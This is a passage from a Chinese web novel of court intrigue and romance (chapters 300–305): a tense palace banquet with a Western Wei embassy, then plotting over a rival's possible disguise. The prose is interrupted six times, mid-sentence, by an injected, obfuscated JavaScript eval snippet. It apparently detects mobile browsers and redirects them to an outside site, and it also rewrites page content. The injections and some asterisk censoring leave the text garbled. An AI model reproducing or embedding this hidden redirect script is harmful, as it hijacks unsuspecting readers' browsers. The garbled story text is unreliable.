他真正的目的,恐怕还隐藏在更深处。 “看来,我们得重新评估一下这位贤王殿下了。”冀容白眼中闪过一抹精光,“他这盘棋,下得可真够大的。” 茅清兮轻轻叹了口气。 原本以为,西魏使团前来大晋,最大的变数会出在西魏人身上。 却不曾想,这水,竟是被贤王先一步搅浑了。 “不管他打的什么算盘,我们都得小心应对。”冀容白沉声说道,“西魏人狼子野心,绝不会善罢甘休。而贤王……也绝非善类。” 茅清兮点了点头,表示赞同。 自那日街头冲突之后,西魏使团的人就一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16521586|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 龟缩在驿馆里,闭门不出,似乎是在酝酿着什么。 而与此同时,大晋朝中也暗流涌动。 圣上迟迟没有派礼部官员与西魏人进行正式的和谈,似乎也在等待着什么。 日子一天天过去,终于,宫中传来了消息——圣上要在宫中设宴,款待西魏使团。 明眼人都看得出来,这场宫宴,不过是走个过场,真正的重头戏,还在后头。 和谈,即将拉开序幕。 茅清兮和冀容白收到消息,一同前往皇宫。 抵达宫门时,恰好与西魏使团一行人迎面相遇。 安宁公主和马静郡主依旧以面纱遮面,看不清容貌。 三人同行,表面上以安宁公主为尊,实则马静郡主与康云辰对她都颇为冷淡,甚至隐隐有些排斥。 茅清兮想起安宁公主那尴尬的身世,心中了然。 看来,这位公主在西魏的地位,也并非表面上看起来那般稳固。 她与冀容白对视一眼,都从彼此眼中看到了一丝凝重。 这盘棋,越来越复杂了。“臧夫人。” 低沉的嗓音,带着几分刻意的亲昵,在喧闹的宫门口显得格外突兀。 茅清兮循声望去,只见西魏将军康云辰正目光灼灼地看着自己。 不同于那日街头的匆匆一瞥,今日赴宴,她显然是精心装扮过的。水仙花的裙摆随着步履轻轻摇曳,像是月光下的粼粼波光,发髻间的步摇与耳畔的玉坠相互映衬,更添了几分清雅灵动。 这身装扮,既不失侯府夫人的端庄,又恰到好处地展现了她独有的气质。 身旁的冀容白几不可察地皱了下眉,他默不作声地上前半步,将茅清兮挡在了自己身后,形成一种无声的保护。 “康将军的眼睛,”冀容白的声音冷得像冰,每一个字都带着刺骨的寒意,“若是用不惯,本将军不介意替你处理了。” 康云辰这才回过神,视线从茅清兮身上移开,落在了冀容白那张俊美得过分的脸上,嘴角微微抽搐。 两人曾在北境战场上多次交锋,对于这位总是戴着银色面具的“苏将军”,康云辰心中是又恨又忌惮。 北境一直流传着一种说法,说苏将军冀容白之所以戴面具,是因为他容貌太过俊美,恐会动摇军心。 第三百零一章 康云辰原本对此嗤之以鼻,总觉得面具之下,怕不是一张丑陋不堪的脸。 可如今亲眼所见,他才不得不承认,传言或许是真的。 只是……一个男人,生得这般俊美,未免太过阴柔了些。 他忍不住在心里暗自比较,觉得自己这样英武的男子,才更受女子青睐。 思及此处,他又忍不住朝茅清兮看了一眼,想看看她是什么反应。 可这一眼,却让他心里更加不是滋味。 茅清兮的目光,根本就没有在他身上停留哪怕一瞬。 “大晋的待客之道,就是这般无礼吗?” 安宁公主的声音突然响起,打破了这有些微妙的气氛。 她几步上前,语气中带着毫不掩饰的傲慢: “本公主远道而来,你们不夹道欢迎也就罢了,竟连最基本的礼节都不懂吗?莫非是瞧不起我们西魏?” 康云辰听了这话,眉头紧锁。 来大晋之前,他对这位从民间寻回的安宁公主了解不多,只知她身份特殊,却没想到,她竟是如此……不识时务。 这里可是大晋的皇宫,他们是客,岂能如此喧宾夺主? 真当西魏还是那个能让大晋俯首称臣的强国了吗? 冀容白冷冷地扫了安宁公主一眼,眼神中带着毫不掩饰的轻蔑: “失败方进贡的**联姻公主,也配在本将军面前讲规矩?” 他微微一顿,语气中带上了几分嘲讽: “公主若是连这点自知之明都没有,那这和谈,我看还是算了吧。” “你……” 安宁公主被噎得脸色一阵青一阵白,指着冀容白,气得说不出话来。 “公主,谨言慎行!” 康云辰连忙出声打断了她的话,语气严厉。 他可不想因为这个蠢女人的几句话,就让这次的和谈彻底告吹。 “苏将军,”康云辰强压下心头的怒火,沉声道,“两国和谈,事关重大,岂是儿戏?苏将军就算再位高权重,也不能一言而决吧?” “西魏的公主很多吗?”冀容白唇角微微勾起,带着一丝玩味的笑意,“多到可以像货物一样,任由你们随意处置,用来和亲?” 康云辰只觉得一股怒火直冲头顶,脸色阴沉得可怕: “苏将军这话未免太过分了!一场胜仗而已,苏将军真以为我西魏无人了吗?” “哦?”茅清兮缓步上前,与冀容白并肩而立,语气轻柔,“莫非康将军指的,是自己?” 夫妻二人脸上都带着淡淡的笑意,只是那笑容,却未达眼底,反而让人觉得寒意逼人。 任谁都知道,鹰羽卫是从康云辰手中夺取了西魏的两座城池。 而且,在那场战役中,冀容白根本没有亲自上阵指挥。 西魏或许有其他能征善战的将军,但那个人,绝对不会是康云辰。 康云辰被茅清兮这一句话,堵得哑口无言,胸中像是有一团火在烧,烧得他五脏六腑都隐隐作痛。 两拨人马,就在这宫门口,剑拔**张,气氛紧张到了极点。 “这是怎么了?” 一个温和的声音传来,打破了这凝重的气氛。 贤王从马车上下来,脸上带着他那标志性的温和笑容,仿佛完全没有察觉到这边的紧张气氛。 “康将军,苏将军,你们怎么都站在宫门口?莫不是在等本王?” 他开玩笑似的说道,语气轻松。 “贤王殿下。”冀容白收回了与康云辰对峙的目光,看向贤王,语气平静,“您来得正好,可以给西魏的客人解释解释,这里,究竟是谁的地盘。” 他话锋一转,带上了几分冷意: “省得有些人,分不清主次,还以为自己身在西魏皇宫呢。” 康云辰脸色铁青。 周围已经有不少人朝这边张望,他知道,自己不能再在这里跟冀容白起正面冲突了。 他将目光转向茅清兮,却发现她正微微侧着头,看向另一边。 顺着她的视线看去,清韵公主正从人群中走出,身后,还跟着石芷凝。 康云辰深吸了一口气,强行压下心头的怒火,换上了一副还算平静的表情: “多谢苏将军提醒。公主殿下,我们还是先进去吧。” 安宁公主狠狠地瞪了冀容白和茅清兮一眼,眼神怨毒。 康云辰见状,连忙暗中递给她一个警告的眼神,示意她收敛些。 安宁公主虽然心有不甘,但也知道现在不是跟他们算账的时候。她咬了咬牙,强忍下这口气,在心里暗暗发誓,来日方长,她一定要让这两个人付出代价。 她高傲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523950|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地抬起下巴,提着裙摆,率先朝宫门内走去。 康云辰看着安宁公主的背影,眼神晦暗不明,正好与不远处的马静郡主交换了一个眼神。 马静郡主微微摇了摇头,示意他稍安勿躁。 康云辰在心里轻轻叹了口气,也只得暂时收敛起情绪,跟了上去。 “清兮,你们怎么也到了?”清韵公主走过来,亲昵地挽住茅清兮的手臂。 “等你啊,”茅清兮笑着回答,转头看向石芷凝,“芷凝也来了。” 石芷凝微微一笑,算是回应。 “这位是……”清韵的目光落在石芷凝身上,有些疑惑。 她与石芷凝并不相识。 “她是石芷凝,贤王未来的王妃。”茅清兮介绍道。 “原来是未来的贤王妃,失敬失敬。”清韵连忙说道。 “公主客气了。”石芷凝微微颔首,举止得体。 “你们两个,怎么凑到一起了?”清韵有些好奇地问道。 “还不是为了等你这个大忙人。”茅清兮故意打趣道。 “好啊,你竟然敢取笑我!”清韵佯装生气地说道,“看我不收拾你!” 说着,她便伸手去挠茅清兮的痒痒。 茅清兮笑着躲闪,两人闹作一团。 石芷凝站在一旁,看着她们嬉闹,脸上也露出了淡淡的笑容。 “对了,你上次受伤,现在怎么样了?”茅清兮突然想起,关切地问道。 “已经好多了,”清韵回答,“你开的药效果真不错,涂了之后,很快就不疼了。” “那就好。”茅清兮放下心来。 “什么受伤?”石芷凝有些疑惑地问道。 茅清兮便简单地把之前发生的事情跟她说了一遍。 石芷凝听完,眉头微蹙: “这些西魏人,也太嚣张了些。” “可不是嘛,”清韵撇了撇嘴,“在我们大晋的地盘上,还敢这么横行霸道,真是不知天高地厚。” “不过是一个和亲公主罢了,有什么好得意的?” “她可能真的以为,自己很了不起吧。”茅清兮淡淡地说道。 “哼,这种人,迟早要吃亏的。”清韵不屑地说道。 “好啦,不说这些扫兴的事情了,”茅清兮说道,“我们还是先进去吧。 第三百零二章 ” “嗯。”清韵和石芷凝都点了点头。 几人正要往宫门内走,却被一个声音叫住了。 “清韵。” 长公主缓步走上前来,语气中带着几分嗔怪。 “你看看你,整天疯疯癫癫的,一点淑女范都没有?” “娘……”清韵有些无奈地说道,“您怎么也来了?” “我不来,怎么知道你又在这里胡闹?”长公主没好气地说道。 茅清兮、冀容白和石芷凝连忙上前,向长公主行礼问安。 “见过长公主殿下。” “免礼。”长公主摆了摆手,看着眼前的几个人,脸上露出了欣慰的笑容。 “你们几个,都是好孩子。” 她微微一顿,目光落在清韵身上,语气中带着一丝担忧: “只是清韵,年纪也不小了,也该定下来了。” “娘,您又来了……”清韵有些不耐烦地说道,“我才不想嫁人呢。” “不嫁人?”长公主面露不悦,“难道你想一辈子留在家里,当个老姑娘不成?” “当老姑娘有什么不好?”清韵理直气壮地说道,“有您疼我,我才不在乎嫁不嫁人呢。” 长公主看着女儿这副模样,无奈地叹了口气。 她知道,清韵这是在跟她赌气。 其实,她也并不是真的想逼着清韵嫁人,只是,身为皇家女子,婚姻大事,往往身不由己。 她只希望,在自己还能护着她的时候,让她能够找到一个真正喜欢的人,过上幸福的生活。 只是,看清韵现在这个样子,似乎对成亲这件事并不上心,也只能由着她去了。 但愿自己的担忧,只是杞人忧天吧。金碧辉煌的大殿内,乐声悠扬,舞姿曼妙。 为宴请西魏使团,大晋特意安排了盛大的歌舞表演。 衣香鬓影,觥筹交错,一派歌舞升平。 可这表面的祥和,却在帝后驾临时,被骤然打破。 “参见陛下,皇后娘娘——” 山呼海啸般的叩拜声中,即便是远道而来的西魏使团,也躬身行礼。 圣上端**,目光扫过西魏众人,带着上位者的威仪。 “西魏的公主和将军,远道而来,一路辛苦了。” 圣上语气平缓,听不出喜怒。 “西魏康云辰,见过大晋国主。” 康云辰拱手,声音沉稳。 “愿国主龙体安康,万事顺遂。” 圣上的眼神微微一动。 一般的邦交贺词,都会提及国力强盛,但康云辰却巧妙地避开了,只字不提。 这看似恭敬的祝词,实则暗藏机锋,表明西魏并非臣服,只是寻常来访。 “贵使在大晋也逗留了些时日,不知对我大晋,有何观感啊?” 圣上不动声色,继续试探。 康云辰还未来得及回应,安宁公主已迫不及待地开口: “大晋物华天宝,人杰地灵,远超我西魏百倍!” 她笑容甜美,极尽谄媚之词。 “京城更是繁华如画,远胜传闻,真真令**开眼界!” 康云辰闻言,脸色一沉,眉宇间闪过一丝不悦。 马静郡主也面露惊诧,显然对安宁公主的言辞颇为不满。 西魏与大晋,实力相当,何须如此贬低自己,抬高他人? 出发前,西魏国主曾有交代,让众人听从安宁公主安排。 可这位从民间接回的公主,实在难当大任。康云辰默默叹息,只觉得脸上无光。 圣上倒是龙颜大悦,捋须笑道: “安宁公主好眼力!贤王,你就陪公主四处走走,让她好好感受一下,我大晋的风土人情。” “儿臣遵旨。” 贤王起身,朗声应道。 安宁公主得意洋洋地落座,对康云辰和马静郡主的脸色视若无睹,自顾自地沉浸在喜悦中。 丝竹声再起,舞姬们翩然起舞,大殿内又恢复了热闹。 可这热闹,没持续多久,就被安宁公主再次打破。 她放下酒杯,清脆的声音,在丝竹管弦声中,显得格外清晰。 “早就听说臧夫人才华横溢,乃大晋第一才女。今日难得相见,不知可否请臧夫人赐教一二?” 她笑意盈盈,目光却直直地盯着茅清兮,带着一丝挑衅。 话音落下,殿内瞬间安静。 乐声骤停,舞姬们也停下动作,退到一旁。 众人的目光,都集中在了茅清兮身上,有好奇,有期待,也有幸灾乐祸。 茅清兮却只是轻轻一笑,慢悠悠地端起酒杯,轻抿一口: “公主殿下,您怕是听岔了。” 她放下酒杯,姿态优雅。 “臣妇不过是个粗人, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16523951|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不通文墨,这事儿啊,京城里谁不知道?您这消息,可不大灵通啊。” 她语气轻松,带着几分自嘲,却又暗藏锋芒。 安宁公主脸色一僵,没想到茅清兮会如此直白地承认自己粗鄙。 她强压下心中的不悦,笑道: “臧夫人谦虚了。咱们只是切磋切磋,又不比输赢,您又何必推辞呢?” “哎,公主殿下有所不知。” 茅清兮轻叹一声,脸上露出为难的神色。 “臣妾不过是个习武之人,跟您比试拳脚还行。可您是金枝玉叶,万一伤着您,臣妇可担待不起。” 安宁公主脸色微变,她没料到茅清兮会如此油盐不进。 “苏将军名震天下,本公主还以为,臧夫人也定有过人之处……” 她话未说完,就被打断。 “砰——” 冀容白将手中酒杯重重地放在桌上,发出沉闷的声响。 声音不大,却让在场的每一个人都感到心头一震。 原本窃窃私语的人群瞬间闭上了嘴巴,看向冀容白。 “内人如何,还轮不到外人评说。” 冀容白缓缓起身,目光冰冷,如利刃般扫过安宁公主。 “西魏公主远道而来,是客。但我大晋,也不是任人欺辱的地方。” 他声音低沉,却带着不容置疑的威严。 “今日之事,若不给个交代,休怪燕某不讲情面!” 安宁公主脸色煞白,她虽任性,却也知道,此事若处理不好,恐会引起两国纷争。 她张了张嘴,想说些什么,却被马静郡主抢先一步。 “苏将军息怒,此事是安宁公主唐突了。” 马静郡主起身,向冀容白微微欠身。 “她只是仰慕臧夫人,并无恶意,还望苏将军和夫人见谅。” 她语气诚恳,姿态谦和,试图平息这场风波。 贤王在一旁看着,心中焦急。 他偷偷看向圣上,却见圣上面无表情,看不出喜怒,更猜不透他的心思。 马静郡主出面后,冀容白和茅清兮却并未就此罢休,依旧冷着脸,一个眼神锐利,一个面色阴沉。 气氛,紧张得一触即发。 康云辰见状,额头冒汗,连忙给安宁公主使眼色,示意她赶紧道歉。 可安宁公主却梗着脖子,一副不服气的模样。 第三百零三章 康云辰无奈,只得硬着头皮开口: “公主年幼,不懂大晋礼数,还望苏将军和夫人恕罪。” 他这话,说得十分憋屈,每一个字都像是从牙缝里挤出来的。 冀容白冷笑一声: “公主年幼?我看是没教养吧!” 他目光如炬,盯着康云辰。 “康将军,回去告诉你们国主,管好自家公主,别让她出来丢人现眼!” 康云辰脸色铁青,只觉得脸上火辣辣的,仿佛被人狠狠扇了一巴掌。 他咬紧牙关,道: “苏将军的话,定向陛下转达。” 安宁公主更是气得浑身发抖,她狠狠地瞪着茅清兮,眼中满是怨恨。 她堂堂公主,竟被如此羞辱,这口气,她咽不下! 她暗暗发誓,定要让茅清兮付出代价! 茅清兮却仿佛没事人一般,依旧悠闲地品着酒,对周围的一切视若无睹,一副看好戏的姿态,更是让安宁公主怒火中烧。“苏将军爱妻之心,可昭日月。” 贤王笑着起身,端起酒杯,向冀容白和茅清兮遥遥一敬, “安宁公主初来乍到,不识其中深情,还望二位莫要怪罪。我大晋京中女子,谁人不羡臧夫人得此佳婿?” 他这话,看似圆场,实则绵里藏针,既抬高了冀容白,又暗讽了安宁公主见识短浅。 只是,安宁公主此刻已是怒火中烧,哪里听得出这弦外之音? 她只觉脸上火辣辣的,像是被人狠狠扇了一巴掌。 凭什么? 区区一个臣妇,竟敢让她堂堂公主下不来台! 更让她难以忍受的是,冀容白竟为了茅清兮,如此不留情面! 她紧咬银牙,指甲深深掐入掌心,几乎要掐出血来。 不行! 她绝不能就这样算了! 安宁公主猛地抬头,眼中闪过一丝决绝。 她倒要看看,这大晋的皇帝,能纵容冀容白到几时! 思及此,她缓缓起身,脸上竟绽开一抹甜美的笑容。 “苏将军与夫人伉俪情深,当真令人好生羡慕。” 她莲步轻移,走到殿中,向御座盈盈一拜, “只是,在我们西魏,男儿皆以家国为重。若要**行赏,必先看其功勋,再看其……品行。” 她故意顿了顿,目光若有似无地扫过茅清兮,眼底的挑衅毫不掩饰。 “儿女情长之事,固然动人,却终究难登大雅之堂。” 她这话,看似在夸赞西魏男儿,实则暗指冀容白沉溺私情,难当大任。 大殿内,瞬间鸦雀无声。 所有人的目光都集中在圣上身上,等着他的反应。 圣上眼皮微抬,深邃的眸子里,闪过一丝不易察觉的冷意。 他缓缓放下手中的酒杯,目光在冀容白和茅清兮身上逡巡。 这个女人…… 果然如他所料,是个祸水! 想当初,冀容白为了她,不惜违抗圣旨,擅闯后宫。 现如今,又为了她,当众与西魏公主争锋相对,置两国邦交于不顾。 若任由这女人留在冀容白身边,他日必成大患! 他要的,是冀容白为他征战沙场,开疆拓土,而不是整日沉溺于情爱之中! 安宁公主将圣上眼中的变化尽收眼底,心中一阵狂喜。 成了! 她就知道,没有哪个帝王能容忍自己的臣子被一个女人所左右! 冀容白啊冀容白,你最大的软肋,就是茅清兮! 只要抓住了这一点,就不怕你不就范! 她眼底闪过一丝得意,面上却依旧保持着端庄的笑容。 “公主此言差矣。” 茅清兮终于开口,声音清冷,如珠落玉盘, “公主可知,我大晋男儿,是如何‘儿女情长’的?” 她起身,缓步走到安宁公主面前,目光如炬, “我夫君冀容白,‘儿女情长’到亲率大军,连下西魏两座城池。不知公主口中那些‘以家国为重’的西魏男儿,当时又在何处?” 她嘴角微勾,露出一抹讥诮的笑意, “莫非……是在后方摇旗呐喊,为公主助威?” 这话一出,犹如一记响亮的耳光,狠狠抽在了安宁公主的脸上。 她脸色瞬间涨得通红,嘴唇翕动,却一句话也说不出来。 冀容白看着茅清兮,眼中满是赞赏与宠溺。 “夫人说得极是。” 他起身,走到茅清兮身边,与她并肩而立, “公主既然如此看不上我大晋男儿,想必也不愿与我大晋和亲。” 他目光一转,看向康云辰,语气骤然转冷, “康将军,本将军建议你,还是将公主送回去吧。这和谈,不谈也罢!” 他这话,掷地有声,带着不容置疑的威严。 “哈哈哈哈……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531501|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>清韵公主再也忍不住,放声大笑起来。 她这一笑,立刻引得殿内一阵哄笑。 畅快! 真是太畅快了! 就该让这西魏的公主好好看看,他们大晋的厉害! 康云辰脸色铁青,额头青筋暴起,恨不得立刻将安宁公主掐死。 这个蠢货! 她难道看不出来,从他们踏进这大晋皇宫的那一刻起,就已经落入了冀容白和茅清兮的圈套吗? 她怎么就这么蠢! “公主殿下!” 康云辰咬牙切齿,一字一顿地警告道: “若您再敢胡言乱语,休怪臣无礼!臣定会立刻将您送回西魏!” 他这话,既是对安宁公主的警告,也是对大晋皇帝的表态。 安宁公主浑身一颤,脸色煞白。 她紧咬下唇,眼中满是不甘与愤怒。 绝不能让她回那个地方! 她绝不能就这样认输! 她的计划还没有完成,她怎么能就这样灰溜溜地离开? 她强忍着心中的怒火,努力挤出一个比哭还难看的笑容: “苏将军……臧夫人……误会了……” 她支支吾吾,半天也说不出一句完整的话来。 “好了。” 圣上终于开口,声音低沉而威严,带着不容置疑的压迫感, “都别说了。菜都凉了,用膳吧。” 他轻轻一挥手,吉公公立刻会意,躬身退下。 不多时,丝竹管弦之声再次响起,舞姬们翩翩起舞,婀娜的身姿在大殿内穿梭,试图将方才的紧张气氛冲淡。 安宁公主死死地掐着掌心,指甲几乎要将掌心的嫩肉刺穿。 她低着头,眼眶泛红,泪水在眼眶里打转,却始终不敢落下来。 耻辱! 愤怒! 不甘! 种种情绪在她心中翻涌,几乎要将她撕裂。 她不敢抬头,生怕被人看到她此刻的狼狈。 与她的狼狈形成鲜明对比的,是冀容白和茅清兮。 他们二人,旁若无人地用着膳,低声交谈着,脸上带着淡淡的笑意。 那画面,刺眼至极。 石芷凝静静地看着这一切,心中五味杂陈。 她羡慕冀容白和茅清兮的感情,却也明白,自己永远也无法拥有这样的感情。 她不是茅清兮,做不到她的洒脱与勇敢。 第三百零四章 她更不是冀容白,不会为了一个女人,不顾一切。 她和贤王,都不过是这深宫中的囚徒。 他们小心翼翼地活着,生怕行差踏错一步,便会万劫不复。 石芷凝轻轻叹了口气,端起酒杯,一饮而尽。 或许,这样也好。 至少,她还能远远地看着,看着冀容白和茅清兮,替她活出另一种人生。 这,也算是一种慰藉吧。“和谈,哪有这么容易。” 御书房内,贤王躬身立于案前,言语间透着一丝无奈。他正向圣上禀报与西魏使团交涉的进展,却显然并不顺利。 “礼部那帮老家伙,一个个滑不溜秋的,跟他们打交道,简直比上阵厮杀还累人。” 圣上放下朱笔,揉了揉发胀的眉心,长叹一声。 “西魏这次来的人里,除了摆在明面上的使臣,还藏着他们礼部的人。这些人,才是真正难啃的骨头。” 贤王深以为然,点头应是。 “不过父皇放心,儿臣已经大致摸清了他们的路数,再周旋几日,定能让他们松口。” 圣上抬眼,目光沉沉地落在贤王身上,带着几分赞许,几分期许。 “嗯,这事关乎两国邦交,不可掉以轻心。” “儿臣明白。” 贤王郑重应声,稍作停顿,又似想起什么,话锋一转。 “对了父皇,儿臣还收到一个消息,安州华家的人,进京了。” “哦?” 圣上来了兴致,身子微微前倾。 “华家那丫头,这个时候跑来京城做什么?”语气里带着探究。 “说是为了与陈家结亲。” 贤王将打探到的消息和盘托出。 “华家嫡女林清刁,不日将抵达京城,与陈家长房嫡子议亲。” “陈家……” 圣上若有所思地捻了捻胡须。 “华家与陈家联姻,倒也不算意外。林臧雨和林临川的母亲,本就是陈家女。” 他顿了顿,眼中闪过一丝精明。 “只是,华家这些年一直低调行事,突然在这个节骨眼上高调起来,恐怕没那么简单。” 贤王立刻附和: “父皇圣明。儿臣也是这么想的。华家突然与陈家联姻,只怕是醉翁之意不在酒。可要派人盯着?”他微微躬身,请示道。 “不必。” 圣上摆了摆手,似乎并不在意。 “陈家向来不涉朝政,只潜心学问。华家想通过陈家做什么,也翻不起什么大浪。” 他停顿了一下,语气一转。 “不过,盯着华家的人,还是有必要的。这事儿,你安排下去吧。” “儿臣遵旨。” 贤王领命,退出了御书房。 --- “华家进京?这葫芦里卖的什么药?” 宁王府内,茅清兮刚听完富辰带来的消息,柳眉微蹙,指尖轻轻敲打着桌面。 “陈家……我记得,是那个世代簪缨,以清贵自诩的陈家?” 她侧头看向冀容白,语气中带着一丝玩味。 “正是。” 冀容白微微颔首,示意富辰继续说下去。 富辰得了令,便将陈家的情况细细道来: “王妃所言极是。陈家在大晋,那是独一份儿的清贵。门生遍天下,却从不结党营私。只以教书育人为己任。” “这就有意思了。” 茅清兮眼珠一转,心中已有了计较。 “华家突然与陈家联姻,这步棋,只怕不简单。”她自言自语道,声音很轻,却带着一丝笃定。 冀容白依旧坐在那儿,把玩着手中的玉佩,神色淡然,似乎一切尽在掌握。 “林臧雨此人,心机深沉。她费尽周折假死脱身,定然所图甚大。” 他略微停顿,眼中闪过一抹精光。 “说不定,此事与华家进京有关。” “你的意思是……” 茅清兮看向他,眼神中闪过一丝了然,但很快又被疑惑取代。 “林清刁不过是林臧雨的侄女,难不成林臧雨还能控制她不成?” 冀容白嘴角勾起一抹意味深长的笑。 “林清刁与林臧雨容貌相似,这是人尽皆知的事。” 他顿了顿,语气中带着一丝笃定。 “你说,有没有可能,林臧雨会利用这一点,混在林清刁身边?” 茅清兮一惊,随即瞪大了眼睛,呼吸都急促了几分。 “你是说……她易容成了林清刁?” “不排除这个可能。” 冀容白颔首,肯定了她的猜测。 “林臧雨行事诡谲,不得不防。” “这倒是个法子。” 茅清兮托着下巴,眼神闪烁,在心中不断盘算着。 “富辰,”她突然抬头,厉声吩咐,“你立刻派人,把林清刁一行人盯**!连只苍蝇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16531502|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也别想给我放过!” “属下遵命!” 富辰抱拳,正要离去,却又被茅清兮叫住。 “等等。” 她补充道: “重点查查林清刁身边有没有可疑之人,尤其是……与她身形相似,或者行为举止怪异的。” 富辰心领神会,应了一声,这才转身快步离去。 他前脚刚走,茅清兮后脚就“噌”地一下站了起来,在房间里来回踱步,显然是有些坐不住了。 冀容白看着她焦躁的样子,眉头微微皱起,伸手将茶盏“啪”地一声放在桌上。 这动静,成功地吸引了茅清兮的注意。 她停下脚步,看向冀容白,眼神中带着一丝茫然。 “你这是做什么?” 冀容白看着她,语气中带着一丝不满。 “我在想事情,你能不能安静点?” “想事情?” 冀容白语气酸溜溜的。 “想富辰?” “富辰?” 茅清兮一脸莫名其妙,随即反应过来,没好气地翻了个白眼。 “冀容白,你能不能别这么幼稚?他是你的属下,又不是旁人,我还能跟他有什么不成?” “哼。” 冀容白冷哼一声,语气中带着一丝固执。 “男人没一个好东西。” “……” 茅清兮被他这话说得哭笑不得,索性不再理他,自顾自地继续思考起来。 冀容白见她不搭理自己,心中更加郁闷。 他蹭的一下站起身走到她面前,语气严肃说道: “茅清兮,我可警告你,你是我明媒正娶的妻子!心里只能有我一个,若是再让我看到你三心二意……” 茅清兮抬眼,好笑地看着他: “如何?” “我就……”冀容白眼神闪烁,语气弱了下来,“我就生气,不理你了。” 茅清兮见他这副模样,忍不住“扑哧”一声笑了出来。 “冀容白,你可真是……” 她摇了摇头,语气中带着一丝无奈,一丝宠溺。 “好了好了,不逗你了。” 她伸手轻轻抚平他紧皱的眉头,柔声说道: “我心里只有你一个,这还不够吗?” 冀容白被她这温柔的语气安抚,心中的郁闷顿时消散了大半。 他顺势握住她的手,紧紧地攥在手心里。 第三百零五章 “这还差不多。” 他语气中带着一丝得意,一丝满足。 若不是茅清兮主动提及,他几乎要忘了玄月门的事情了。 “对了,”茅清兮岔开话题,“你还没跟我详细说说,你是怎么成为玄月门门主的呢。” 冀容白神情一滞,似乎不愿意提及这段往事。 “有什么好说的。”他试图轻描淡写地带过。 “我想知道。” 茅清兮却不依不饶,眼神中带着一丝执着。 “我想知道你的过去,了解你的一切。” 冀容白看着她认真的模样,终究还是败下阵来。 他叹了口气,缓缓开口,声音低沉而沙哑。 “那都是些陈年旧事了,不提也罢。” “可我还是想听。”茅清兮坚持。 “好吧。”冀容白妥协,像是打开了尘封已久的话匣子。 “小时候,我过的很不好。”他陷入回忆,缓缓述说,“后来,我逃出了秦府,一个人在街上流浪……” …… 一夜无话。 第二天,冀容白破天荒地没有去兵部点卯。 他陪着茅清兮在府里用了早膳,又陪着她说了会儿话,这才慢悠悠地往书房走去。 而茅清兮,则一直睡到日上三竿才醒。 她睁开眼,只觉得浑身酸痛,像是被车碾过一般。 “嘶……” 她忍不住倒吸了一口凉气,艰难地从床上爬起来。 身边的位置早已空了,只留下淡淡的余温。 “这个冀容白……” 她咬牙切齿,声音沙哑得不成样子。 昨晚的一切,如潮水般涌上心头,让她忍不住红了脸。 她披上衣服,挣扎着想要下床,双腿却一阵发软,险些跌倒。 “该死!” 她低声咒骂了一句,扶着床沿,慢慢地挪动着步子。 外面的丫鬟听到动静,连忙推门进来,却在看到茅清兮的模样时,都识趣地低下了头,不敢多看一眼。 “王妃,您醒了?” 绿绿小心翼翼地问道。 “嗯。” 茅清兮应了一声,声音沙哑得厉害。 “备水,我要沐浴。” “是。” 绿绿应声,连忙带着几个丫鬟去准备。 茅清兮在丫鬟的服侍下,洗漱更衣,这才觉得舒服了些。 她坐在梳妆台前,看着镜中自己略显憔悴的模样,忍不住叹了口气。 “王妃,您今日气色不大好,要不要上点妆?” 绿绿在一旁轻声问道。 “不用了。” 